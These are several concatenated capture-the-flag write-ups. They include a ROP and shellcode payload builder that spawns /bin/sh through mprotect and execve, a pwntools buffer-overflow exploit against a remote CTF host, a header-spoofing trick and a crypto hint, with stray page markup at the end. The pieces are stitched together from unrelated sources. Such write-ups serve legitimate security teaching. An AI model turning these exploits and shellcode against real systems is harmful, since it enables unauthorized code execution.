```sigmatau@kali:~/CTF/zh3r0/binary_exploit/32_64$ readelf -a challELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400130 Start of program headers: 64 (bytes into file) Start of section headers: 584 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 3 Size of section headers: 64 (bytes) Number of section headers: 5 Section header string table index: 4
Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .note.gnu.build-i NOBITS 00000000004000e8 000000e8 0000000000000039 0000000000000000 AX 0 0 4 [ 2] .text PROGBITS 0000000000400130 00000130 00000000000000b4 0000000000000000 AX 0 0 16 [ 3] .data PROGBITS 00000000006001e4 000001e4 0000000000000033 0000000000000000 WA 0 0 4 [ 4] .shstrtab STRTAB 0000000000000000 00000217 000000000000002a 0000000000000000 0 0 1 Key to Flags: W (write), A (alloc), X (execute), M (merge), S (strings), I (info), L (link order), O (extra OS processing required), G (group), T (TLS), C (compressed), x (unknown), o (OS specific), E (exclude), l (large), p (processor specific) There are no section groups in this file. Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x00000000000001e4 0x00000000000001e4 R E 0x200000 LOAD 0x00000000000001e4 0x00000000006001e4 0x00000000006001e4 0x0000000000000033 0x0000000000000033 RW 0x200000 GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RW 0x10
Section to Segment mapping: Segment Sections... 00 .note.gnu.build-id .text 01 .data 02
There is no dynamic section in this file.
There are no relocations in this file.
The decoding of unwind sections for machine type Advanced Micro Devices X86-64 is not currently supported.
No version information found in this file.
```>looking at this tells us a few things * The NX bit is set to 1. The .data section is not executable.>Lucky for us, this binary contains an attractive section which we will examine further with gdb```[1] .note.gnu.build-i NOBITS 00000000004000e8 000000e8 0000000000000039 0000000000000000 AX 0 0 4 ```
```gdb-peda$ x/6i 0x00000000004000e8 0x4000e8: mov eax,edi 0x4000ea: mov esp,esi 0x4000ec: cmp eax,0xb 0x4000ef: je 0x800290 0x4000f5: int 0x80
```
>This rop gadget gives us the ability to make a system call * NOTE: cmp eax, 0xb is checked, which means we cant execve()
>We continue our binary analysis, taking a deeper look.
``` 4001cb: 48 89 c7 mov rdi,rax 4001ce: 48 31 c0 xor rax,rax 4001d1: 5b pop rbx 4001d2: 5a pop rdx 4001d3: 5e pop rsi 4001d4: 59 pop rcx```> Everything needed to set up a system call is found above* The rdi value will be the return from the prior read(), which is the size of the total bytes read or -1 if errno gets set* We will not be able to execveat() here since we do not have control over the register that would contain the flag* We can call sys_mprotect!* One can also call sys_sigreturn, which would be another solution for this flag
> We use our knowledge gained to build our exploit payload.```c/* * [email protected] * https://github.com/snowcra5h/ * snowcrash - Solution to x32/x64 binary exploit zh3r0 CTF */
#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <unistd.h>#include <stdio.h>#include <string.h>
// rop gadget// 0x4000e8: mov eax,edi// 0x4000ea: mov esp,esi// 0x4000ec: cmp eax,0xb// 0x4000ef: je 0x800290// 0x4000f5: int 0x80// 0x4000f7: ret
// total size 44 bytes on the stack + 125 bytes in the data section = 169 bytes total// stack (parameters to be passed to mprotec)const char *stack = { // the address range in the interval [addr, addr+len-1]. addr must be aligned to a page boundary. "\x00\x00\x60\x00\x00\x00\x00\x00" // %rbx [rbp - 0x20] region of memory to make executable "\x07\x00\x00\x00\x00\x00\x00\x00" // %rdx [rbp - 0x18] argument PROT_EXEC to make memory executable "\x00\x00\x60\x00\x00\x00\x00\x00" // %rsi [rbp - 0x10] NOTE 32 bit: (where the payload will live in the .data section) "\x7d\x00\x00\x00\x00\x00\x00\x00" // %rcx [rbp - 0x08] 125 byte sz for mprotect .data region to make executable "\x00\x00\x00\x00\x00\x00\x00\x00" // %rbp [rbp] padding "\xe8\x00\x40\x00" // %eip [rbp + 8] the address of our rop gadget note: 32 bit mode (rex.W retf)
// Payload size: 125 bytes <--- the 125 return from read() sets %rax to our system call sys_mprotect "\x0c\x00\x60\x00" // for the stack "/bin/sh\x00" // data for execve() in shellcode to use. 0x600004 "\x04\x00\x60\x00" <--- offset to /bin/sh "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xbb\x04\x00\x60\x00" // mov ebx, 0x600004 ; %ebx = const char *filename = 0x600004 "\x31\xc9" // xor ecx,ecx ; %ecx = const char *const argv[] = 0x00 "\x31\xd2" // xor edx,edx ; %edx = const char *const envp[] = 0x00 "\xb8\x0b\x00\x00\x00" // mov eax, 0x0b ; %eax = sys_execve = 11 = 0x0b "\xcd\x80" // int 0x80 ; execve("/bin/sh", NULL, NULL); "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90"};
int main(int argc, char *argv[]){ int fd = open("payload", O_WRONLY | O_CREAT);
if (fd == -1) { fprintf(stderr, "open()"); return 1; }
if (write(fd, stack, 169) == -1) { fprintf(stderr, "open()"); return 1; }
if (close(fd) == -1) { fprintf(stderr, "close()"); return 1; }
return 0;}```> This builds our payload! * To exploit the remote system * Add a socket() and connect() using send() or write() to send the payload* Or use ncat. |
# Challenge: We are Related## Description:I can help you send related messages can you out what it is?nc crypto.zh3r0.ml 9841
## Vulnetability:Challemge name is the vulnerability, google the challenge name with required terminology and you will know that it is direct franklin-reiter attack |
### Solution Summary
Overflow the stack and overwrite the return address to execute the flag function.
### Walkthrough
The binary is a 64bits file with NX enabled.
```$ pwn checksec dangerous Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
However it's a stripped binary which makes it harder to reverse engineer.
_Radare2_ finds the `main` address automaticaly but you can find it by yourself:
* Jump to the _entry point_* Find the call to `__libc_start_main`* The first parameter is `main` address
```$ r2 -A dangerous [...][0x004010f0]> pd 16 ;-- section..text: ;-- rip:/ 46: entry0 (int64_t arg3);| ; arg int64_t arg3 @ rdx| 0x004010f0 f30f1efa endbr64 ; [15] -r-x section size 757 named .text| 0x004010f4 31ed xor ebp, ebp| 0x004010f6 4989d1 mov r9, rdx ; arg3| 0x004010f9 5e pop rsi| 0x004010fa 4889e2 mov rdx, rsp| 0x004010fd 4883e4f0 and rsp, 0xfffffffffffffff0| 0x00401101 50 push rax| 0x00401102 54 push rsp| 0x00401103 49c7c0e01340. mov r8, 0x4013e0| 0x0040110a 48c7c1701340. mov rcx, 0x401370| 0x00401111 48c7c7d61140. mov rdi, main ; 0x4011d6\ 0x00401118 ff15d22e0000 call qword [reloc.__libc_start_main] ; [0x403ff0:8]=0 0x0040111e f4 hlt 0x0040111f 90 nop 0x00401120 f30f1efa endbr64 0x00401124 c3 ret```
In this case: `0x4011d6`.
Looking at the strings in the binary we find `./flag.txt`.
```[0x004010f0]> iz[Strings]nth paddr vaddr len size section type string-------------------------------------------------------[...]1 0x000021f8 0x004021f8 17 18 .rodata ascii What's your name?2 0x00002210 0x00402210 46 47 .rodata ascii Uh-oh... something's not right... good luck...3 0x0000223f 0x0040223f 10 11 .rodata ascii ./flag.txt```
There is a reference to this string at `0x401322`.
```[0x004010f0]> axt 0x0040223f(nofunc) 0x401322 [DATA] lea rdi, str.._flag.txt```
Looking at this address we find a function starting at `0x0040130e` address.
```[0x00401322]> s 0x401322[0x00401322]> pd--5 0x0040130e f30f1efa endbr64 0x00401312 55 push rbp 0x00401313 4889e5 mov rbp, rsp 0x00401316 4881ec100200. sub rsp, 0x210 0x0040131d be00000000 mov esi, 0 0x00401322 488d3d160f00. lea rdi, str.._flag.txt ; 0x40223f ; "./flag.txt" 0x00401329 b800000000 mov eax, 0 0x0040132e e8adfdffff call sym.imp.open ; int open(const char *path, int oflag) 0x00401333 8945fc mov dword [rbp - 4], eax 0x00401336 488d8df0fdff. lea rcx, [rbp - 0x210]```
Let's mark it as a function and call it _fcn.flag_.
```[0x00401322]> s 0x0040130e # jump to start address[0x0040130e]> af # analyse block as a function[0x0040130e]> pdf/ 93: fcn.0040130e ();| ; var int64_t var_210h @ rbp-0x210| ; var int64_t var_4h @ rbp-0x4| 0x0040130e f30f1efa endbr64| 0x00401312 55 push rbp| 0x00401313 4889e5 mov rbp, rsp| 0x00401316 4881ec100200. sub rsp, 0x210| 0x0040131d be00000000 mov esi, 0| 0x00401322 488d3d160f00. lea rdi, str.._flag.txt ; 0x40223f ; "./flag.txt"| 0x00401329 b800000000 mov eax, 0| 0x0040132e e8adfdffff call sym.imp.open ; int open(const char *path, int oflag)| 0x00401333 8945fc mov dword [var_4h], eax| 0x00401336 488d8df0fdff. lea rcx, [var_210h]| 0x0040133d 8b45fc mov eax, dword [var_4h]| 0x00401340 ba00020000 mov edx, 0x200 ; 512| 0x00401345 4889ce mov rsi, rcx| 0x00401348 89c7 mov edi, eax| 0x0040134a e871fdffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)| 0x0040134f 8b45fc mov eax, dword [var_4h]| 0x00401352 89c7 mov edi, eax| 0x00401354 e857fdffff call sym.imp.close ; int close(int fildes)| 0x00401359 488d85f0fdff. lea rax, [var_210h]| 0x00401360 4889c7 mov rdi, rax| 0x00401363 e828fdffff call sym.imp.puts ; int puts(const char *s)| 0x00401368 90 nop| 0x00401369 c9 leave\ 0x0040136a c3 ret[0x0040130e]> afn fcn.flag # rename function to fcn.flag```
This function opens `./flag.txt`, reads the content and puts it on the screen.So we have to find a way to run this function.
Back to the `main` function, now using GDB, let's try to overflow the stack andoverwrite the return address.
```$ gdb -q dangerousgef➤ x/100i 0x4011d6 0x4011d6: endbr64 0x4011da: push rbp 0x4011db: mov rbp,rsp 0x4011de: sub rsp,0x620 0x4011e5: mov DWORD PTR [rbp-0x614],edi 0x4011eb: mov QWORD PTR [rbp-0x620],rsi 0x4011f2: mov rax,QWORD PTR [rip+0x2e67] # 0x404060 <stdout> 0x4011f9: mov ecx,0x0 0x4011fe: mov edx,0x2 0x401203: mov esi,0x0 0x401208: mov rdi,rax 0x40120b: call 0x4010d0 <setvbuf@plt>[...] 0x4012e5: mov BYTE PTR [rbp-0x11],0x0 0x4012e9: lea rax,[rbp-0x210] 0x4012f0: mov rdi,rax 0x4012f3: call 0x401090 <puts@plt> 0x4012f8: mov rax,QWORD PTR [rip+0x2d59] # 0x404058 0x4012ff: mov rdi,rax 0x401302: call 0x401090 <puts@plt> 0x401307: mov eax,0x0 0x40130c: leave 0x40130d: ret```
Set a _break point_ at `ret` instruction and feed the program with a pattern tofind the offset.
```gef➤ pattern create 512[+] Generating a pattern of 512 bytesaaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaa[...]gef➤ b * 0x40130dBreakpoint 2 at 0x40130dgef➤ runWhat's your name?aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaac[...]gef➤ x/gx $rsp0x7fffffffe328: 0x6e63616161616161gef➤ pattern search 0x6e63616161616161[+] Searching '0x6e63616161616161'[+] Found at offset 497 (little-endian search) likely```
### Exploit
The exploit is just a padding of 497 bytes plus the address of `flag` function.
```pythonfrom pwn import *
#sh = process('./dangerous')sh = remote('jh2i.com', 50011)
payload = b'A' * 497payload += p64(0x40130e)
sh.readline()sh.sendline(payload)sh.stream()``` |
# Agent 95
Author: [roerohan](https://github.com/roerohan)
As the name suggest, change the User Agent to Windows 95.
# Requirements
- Basic Knowledge of Request headers
# Source
- http://jh2i.com:50000.
```They've given you a number, and taken away your name~
Connect here:http://jh2i.com:50000```
# Exploitation
The challenge is very simple once you know what to do.
```We will only give our flag to our Agent 95! He is still running an old version of Windows...```
We assume Agent 95 uses Windows 95. So just change the `User-Agent` header to `Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)`.
```python>>> import requests>>> r = requests.get('http://jh2i.com:50000', headers={'User-Agent': 'Mozilla/4.0 (compatible; MSIE 4.01; Windows 95)'})>>> r.text'flag{user_agents_undercover}\n<div style="text-align:center">\n\n NOT CHALLENGE RELATED:THANK YOU to Digital Ocean for supporting NahamCon and NahamCon CTF!\n\n\n\n</div>'```
\n\n
There, you got the flag.
```flag{user_agents_undercover}``` |
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</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>img</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
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</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>resource</span> </div>
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<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
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<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>z.md</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
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